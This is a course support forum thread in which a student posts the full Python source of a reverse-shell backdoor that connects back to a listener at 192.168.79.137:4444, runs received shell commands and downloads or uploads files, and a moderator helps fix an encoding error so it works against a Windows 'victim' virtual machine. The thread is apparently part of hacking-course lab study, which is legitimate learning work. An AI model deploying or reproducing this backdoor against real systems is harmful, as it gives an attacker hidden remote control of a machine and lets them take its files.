- This topic has 14 replies, 2 voices, and was last updated 1 year, 8 months ago by Diego Pérez.
- AuthorPosts
- April 19, 2023 at 5:46 pm #72003donatasParticipant
hello i wrote off all the backdoor code and everything works except when i try dir or more commands i get this error maybe someone could help me fix it
BackDoor Code:
#!/usr/bin/env python
import socket
import subprocess
import json
import os
import base64class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def change_working_directory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + pathdef read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful.”def run(self):
while True:
command = self.reliable_receive()try:
if command[0] == “exit”:
self.connection.close()
exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during comand execution.”self.reliable_send(command_result)
my_backdoor = Backdoor(“192.168.79.137”, 4444)
my_backdoor.run()Attachments:
You must be logged in to view attached files.April 19, 2023 at 8:59 pm #72010Diego PérezModeratorHi!
You have another question about the same script and both issues might be related so answer just in one topic please. Can you share the code but with the proper indentation? Otherwise it’s not possible to read it properly, hence the error can’t be found.Greetings!
DiegoApril 20, 2023 at 6:14 am #72013April 20, 2023 at 6:15 am #72015April 20, 2023 at 9:00 pm #72035Diego PérezModeratorHi!
Cool! Are you using a windows virtual machine as victim? If so, did you change the language of it? Or is there any file name in the current working directory which is in a different language other than english?Greetings!
DiegoApril 20, 2023 at 10:34 pm #72036donatasParticipantyes i do use a windows machine as victim like it shows in videos and my windows machine is in my language which is Lithuanian language and there is no file in the current working directroy which one is in a diffrent language
- This reply was modified 1 year, 8 months ago by donatas.
April 20, 2023 at 10:44 pm #72038donatasParticipantEDITED VERSION
Yes, I use a Windows device as a victim, as it is shown in the videos, and my Windows device is in my language, which is in lithuanian, and in the current working Directroy there is no file that is in another language
April 21, 2023 at 9:01 pm #72044Diego PérezModeratorHi!
Ok, can you try to add a property in the reliable_send function? I mean in the backdoor:
json_data = json.dumps(data, ensure_ascii=False)Let me know how it goes!
DiegoApril 22, 2023 at 11:20 am #72051donatasParticipantstill not working but i don’t get any errors.
Attachments:
You must be logged in to view attached files.April 22, 2023 at 5:28 pm #72053donatasParticipantApril 22, 2023 at 5:55 pm #72060Diego PérezModeratorHi!
It says that the error is in reliable_receive, where exactly did you made the changes? Can you share the modified code?Greetings!
DiegoApril 22, 2023 at 8:01 pm #72061April 24, 2023 at 9:16 pm #72089Diego PérezModeratorHi!
It seems that last error is because you pressed ctrl + c, can you explain what happened?Greetings!
DiegoApril 26, 2023 at 10:11 pm #72112donatasParticipanteverything is working fine.
April 27, 2023 at 4:42 pm #72135Diego PérezModeratorHi!
Glad you got it!
Diego - AuthorPosts
- You must be logged in to reply to this topic.